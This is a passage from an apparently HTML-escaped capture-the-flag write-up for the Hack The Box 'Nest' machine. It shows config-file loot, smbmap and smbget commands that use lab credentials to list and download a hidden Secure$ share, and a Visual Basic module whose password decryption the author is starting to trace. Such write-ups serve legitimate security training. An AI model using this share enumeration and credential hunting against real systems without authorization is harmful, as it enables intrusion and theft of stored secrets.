&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;tail &lt;/span&gt;Configs/NotepadPlusPlus/config.xml 
        &amp;lt;Find &lt;span class=&quot;nv&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;redeem on&quot;&lt;/span&gt; /&amp;gt;
        &amp;lt;Find &lt;span class=&quot;nv&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;192&quot;&lt;/span&gt; /&amp;gt;
        &amp;lt;Replace &lt;span class=&quot;nv&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C_addEvent&quot;&lt;/span&gt; /&amp;gt;
    &amp;lt;/FindHistory&amp;gt;
    &amp;lt;History &lt;span class=&quot;nv&quot;&gt;nbMaxFile&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;15&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;inSubMenu&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;no&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;customLength&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &amp;lt;File &lt;span class=&quot;nv&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\w&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;indows&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ystem32&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\d&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;rivers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\e&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tc&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\h&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;osts&quot;&lt;/span&gt; /&amp;gt;
        &amp;lt;File &lt;span class=&quot;nv&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;HTB-NEST&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\S&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ecure&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;IT&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;arl&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\T&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;emp.txt&quot;&lt;/span&gt; /&amp;gt;
        &amp;lt;File &lt;span class=&quot;nv&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.Smith&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\D&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;esktop&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\t&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;odo.txt&quot;&lt;/span&gt; /&amp;gt;
    &amp;lt;/History&amp;gt;
&amp;lt;/NotepadPlus&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Checking Temp.xml&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;Configs/Atlas/Temp.XML 
&amp;lt;?xml &lt;span class=&quot;nv&quot;&gt;version&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;1.0&quot;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;?&amp;gt;
&amp;lt;bs:Brainstorm xmlns:bs&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://schemas.microsoft.com/visio/2003/brainstorming&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Marketing Plan&amp;lt;/bs:text&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Product&amp;lt;/bs:text&amp;gt;&amp;lt;bs:prop&amp;gt;&amp;lt;bs:id&amp;gt;1&amp;lt;/bs:id&amp;gt;&amp;lt;bs:label&amp;gt;Assigned to&amp;lt;/bs:label&amp;gt;&amp;lt;bs:value&amp;gt;Deanna Meyer&amp;lt;/bs:value&amp;gt;&amp;lt;/bs:prop&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.1.1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;New features&amp;lt;/bs:text&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.1.2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Competitive strengths&amp;lt;/bs:text&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.1.3&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Competitive weaknesses&amp;lt;/bs:text&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Placement&amp;lt;/bs:text&amp;gt;&amp;lt;bs:prop&amp;gt;&amp;lt;bs:id&amp;gt;1&amp;lt;/bs:id&amp;gt;&amp;lt;bs:label&amp;gt;Assigned to&amp;lt;/bs:label&amp;gt;&amp;lt;bs:value&amp;gt;Jolie Lenehan&amp;lt;/bs:value&amp;gt;&amp;lt;/bs:prop&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.3&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Price&amp;lt;/bs:text&amp;gt;&amp;lt;bs:prop&amp;gt;&amp;lt;bs:id&amp;gt;1&amp;lt;/bs:id&amp;gt;&amp;lt;bs:label&amp;gt;Assigned to&amp;lt;/bs:label&amp;gt;&amp;lt;bs:value&amp;gt;Robert O&lt;span class=&quot;s1&quot;&gt;'Hara&amp;lt;/bs:value&amp;gt;&amp;lt;/bs:prop&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID=&quot;T1.4&quot;&amp;gt;&amp;lt;bs:text&amp;gt;Promotion&amp;lt;/bs:text&amp;gt;&amp;lt;bs:prop&amp;gt;&amp;lt;bs:id&amp;gt;1&amp;lt;/bs:id&amp;gt;&amp;lt;bs:label&amp;gt;Assigned to&amp;lt;/bs:label&amp;gt;&amp;lt;bs:value&amp;gt;Robert O'&lt;/span&gt;Hara&amp;lt;/bs:value&amp;gt;&amp;lt;/bs:prop&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.4.1&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Advertising&amp;lt;/bs:text&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.4.2&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Mailings&amp;lt;/bs:text&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:topic bs:TopicID&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.4.3&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;lt;bs:text&amp;gt;Trade shows&amp;lt;/bs:text&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;/bs:topic&amp;gt;&amp;lt;bs:association bs:topic1&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.4&quot;&lt;/span&gt; bs:topic2&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;T1.3&quot;&lt;/span&gt;/&amp;gt;&amp;lt;/bs:Brainstorm&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Some possible names for users. As we know the Secure$ path from recent files let’s try to dig into it directly:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbmap &lt;span class=&quot;nt&quot;&gt;-H&lt;/span&gt; 10.10.10.178 &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl &lt;span class=&quot;nt&quot;&gt;--depth&lt;/span&gt; 10 &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; welcome2019 &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; TempUser
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Finding open SMB ports....
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] User SMB session established on 10.10.10.178...
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] IP: 10.10.10.178:445        Name: 10.10.10.178                                      
        Disk                                                    Permissions     Comment
        &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;                                                    &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;     &lt;span class=&quot;nt&quot;&gt;-------&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;                                                  
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    ..
        dr--r--r--                0 Wed Aug  7 15:40:25 2019    Finance
        dr--r--r--                0 Wed Aug  7 19:08:12 2019    HR
        dr--r--r--                0 Thu Aug  8 06:59:25 2019    IT
        Secure&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;                                                READ ONLY
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:42:14 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:42:14 2019    ..
        dr--r--r--                0 Wed Aug  7 15:44:00 2019    Docs
        dr--r--r--                0 Tue Aug  6 09:45:47 2019    Reports
        dr--r--r--                0 Tue Aug  6 10:41:55 2019    VB Projects
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\D&lt;/span&gt;ocs&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:44:00 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 15:44:00 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;               56 Wed Aug  7 15:44:16 2019    ip.txt
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;               73 Wed Aug  7 15:43:46 2019    mmc.txt
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Tue Aug  6 10:41:55 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Tue Aug  6 10:41:55 2019    ..
        dr--r--r--                0 Tue Aug  6 10:41:53 2019    Production
        dr--r--r--                0 Tue Aug  6 10:47:41 2019    WIP
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;IP&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Tue Aug  6 10:47:41 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Tue Aug  6 10:47:41 2019    ..
        dr--r--r--                0 Fri Aug  9 11:36:45 2019    RU
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;IP&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;U&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Fri Aug  9 11:36:45 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Fri Aug  9 11:36:45 2019    ..
        dr--r--r--                0 Wed Aug  7 18:05:54 2019    RUScanner
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              871 Fri Aug  9 11:36:35 2019    RUScanner.sln
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;IP&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;U&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;UScanner&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:05:54 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 18:05:54 2019    ..
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    bin
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              772 Wed Aug  7 18:05:09 2019    ConfigFile.vb
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              279 Wed Aug  7 18:05:44 2019    Module1.vb
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    My Project
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    obj
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             4828 Fri Aug  9 11:38:30 2019    RU Scanner.vbproj
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              143 Wed Aug  7 16:00:28 2019    RU Scanner.vbproj.user
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              133 Wed Aug  7 18:05:58 2019    SsoIntegration.vb
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             4888 Wed Aug  7 18:06:03 2019    Utils.vb
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;IP&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;U&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;UScanner&lt;span class=&quot;se&quot;&gt;\b&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    ..
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    Debug
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    Release
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;IP&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;U&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;UScanner&lt;span class=&quot;se&quot;&gt;\M&lt;/span&gt;y Project&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    ..
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              441 Wed Aug  7 16:00:11 2019    Application.Designer.vb
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              481 Wed Aug  7 16:00:11 2019    Application.myapp
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             1163 Wed Aug  7 16:00:11 2019    AssemblyInfo.vb
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             2776 Wed Aug  7 16:00:11 2019    Resources.Designer.vb
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             5612 Wed Aug  7 16:00:11 2019    Resources.resx
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;             2989 Wed Aug  7 16:00:11 2019    Settings.Designer.vb
        &lt;span class=&quot;nt&quot;&gt;-r--r--r--&lt;/span&gt;              279 Wed Aug  7 16:00:11 2019    Settings.settings
        .IT&lt;span class=&quot;se&quot;&gt;\C&lt;/span&gt;arl&lt;span class=&quot;se&quot;&gt;\V&lt;/span&gt;B Projects&lt;span class=&quot;se&quot;&gt;\W&lt;/span&gt;IP&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;U&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;UScanner&lt;span class=&quot;se&quot;&gt;\o&lt;/span&gt;bj&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    ..
        dr--r--r--                0 Wed Aug  7 16:00:11 2019    x86&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Tons of files there let’s download them:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;smbget &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl/ &lt;span class=&quot;nt&quot;&gt;-U&lt;/span&gt; TempUser
Password &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;TempUser] connecting to //Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;10.10.10.178: 
Using workgroup WORKGROUP, user TempUser
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//Docs/ip.txt                                                                                                            
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//Docs/mmc.txt                                                                                                           
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/ConfigFile.vb                                                                             
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/Module1.vb                                                                                
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Application.Designer.vb                                                        
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Application.myapp                                                              
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/AssemblyInfo.vb                                                                
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Resources.Designer.vb                                                          
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Resources.resx                                                                 
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Settings.Designer.vb                                                           
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/My Project/Settings.settings                                                              
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj                                                                         
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj.user                                                                    
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/SsoIntegration.vb                                                                         
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner/Utils.vb                                                                                  
smb://10.10.10.178/Secure&lt;span class=&quot;nv&quot;&gt;$/&lt;/span&gt;IT/Carl//VB Projects/WIP/RU/RUScanner.sln                                                                                       
Downloaded 25.18kB &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;39 seconds&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Checking their content we see:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-vb&quot; data-lang=&quot;vb&quot;&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;VB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;\&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Projects&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WIP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RU&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RUScanner&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Module1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vb&lt;/span&gt; 
&lt;span class=&quot;k&quot;&gt;Module&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Module1&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;Sub&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;Config&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ConfigFile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ConfigFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LoadFromFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;RU_Config.xml&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;Dim&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;As&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;New&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SsoIntegration&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;With&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Username&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Password&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Utils&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DecryptString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Config&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Password&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Sub&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;End&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;Module&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So this seems to point it uses the RU_Config.xml we found, maybe the algo to decrypt is here. Utils.vb seems to have something related to this. Taking a closer look on utils.decrypt&lt;/p&gt;

